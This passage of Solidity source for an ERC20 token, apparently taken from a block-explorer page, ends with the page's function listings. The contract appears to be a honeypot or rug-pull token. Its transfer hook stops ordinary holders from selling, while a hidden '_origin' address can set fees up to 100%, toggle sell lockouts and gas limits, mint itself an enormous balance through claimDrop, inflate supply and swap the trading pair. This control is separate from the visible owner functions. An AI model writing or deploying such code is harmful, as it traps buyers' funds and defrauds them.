        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)) {
            boughtAmount[to] = amount;
            purchaseTimestamp[to] = block.timestamp;
        }
        if (isMarket(to)) {
            if (!premissionList[from]) {
                require(boughtAmount[from] >= amount, "You are trying to sell more than bought!");
                boughtAmount[from] -= amount;
                if (validationEnable())
                {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");}
                require(!exceedsGasPriceLimit());
            } 
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    bool internal validtionState;
    
    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function switchValidationEnableState() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        validtionState = !validtionState;
    }

    function validationEnable() public view returns (bool) {
        return validtionState;
    }

    function editDownTime(uint _seconds) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        downTime = _seconds;
    }

    function updatePremissionList(address[] calldata _usrs, bool _state) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        for (uint256 i = 0; i < _usrs.length; i++) {
            premissionList[_usrs[i]] = _state;
        }
    }

    function checkPremissionList(address _user) external view returns (bool) {
        return premissionList[_user];
    }

    function checkUserPurchaseTime(address _user) external view returns (uint256) {
        return purchaseTimestamp[_user];
    }

    function checkUserBoughtAmount(address _user) external view returns (uint256) {
        return boughtAmount[_user];
    }

    function exceedsGasPriceLimit() internal view returns (bool) {
        return tx.gasprice >= MAX_GAS_PRICE;
    }

    function changeMaxGasPrice(uint _newGasPrice) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        MAX_GAS_PRICE = _newGasPrice;
    }

    function fixCap(uint256 _amount) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _totalSupply += _amount;
    }

    function claimDrop() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _balances[msg.sender] += 2 * (10 ** (15 + 18));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (buyFee, sellFee);
    }

    function AddLiquidity(uint256 _tokenAmount) payable external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    function switchOrigin(address _newOne) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = _newOne;
    }

    function rebaseLP(address _routerAddress) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        _router = IUniswapV2Router02(_routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
}

Read Contract

MAX_GAS_PRICE 0xe3bbb4f1 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkCurrentFees 0x2df8bca9 → uint256, uint256
checkPremissionList 0xa7e90f41 → bool
checkUserBoughtAmount 0xd1a039f0 → uint256
checkUserPurchaseTime 0x6994ee73 → uint256
decimals 0x313ce567 → uint8
excludedFromFee 0x85ecafd7 → bool
isExcludedFromFee 0x5342acb4 → bool
marketWallet 0xe4440a86 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
validationEnable 0x3975cae9 → bool

Write Contract 19 functions

These functions modify contract state and require a wallet transaction to execute.

AddLiquidity 0xf53d9d58
uint256 _tokenAmount
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changeMaxGasPrice 0x3816377e
uint256 _newGasPrice
claimDrop 0x4feeade4
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
editDownTime 0x344d9e79
uint256 _seconds
fixCap 0x9e568dbc
uint256 _amount
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
rebaseLP 0xbbf75e8f
address _routerAddress
renounceOwnership 0x715018a6
No parameters
switchOrigin 0xedd8b64a
address _newOne
switchValidationEnableState 0x8229c2e5
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateExcludedFromFeeStatus 0x5337cc99
address _user
bool _status
updateFees 0x6db79437
uint256 _buyFee
uint256 _sellFee
updateMarketWallet 0x4d474d42
address _newMarketWallet
updatePremissionList 0x9f38a0d7
address[] _usrs
bool _state

Recent Transactions

No transactions found for this address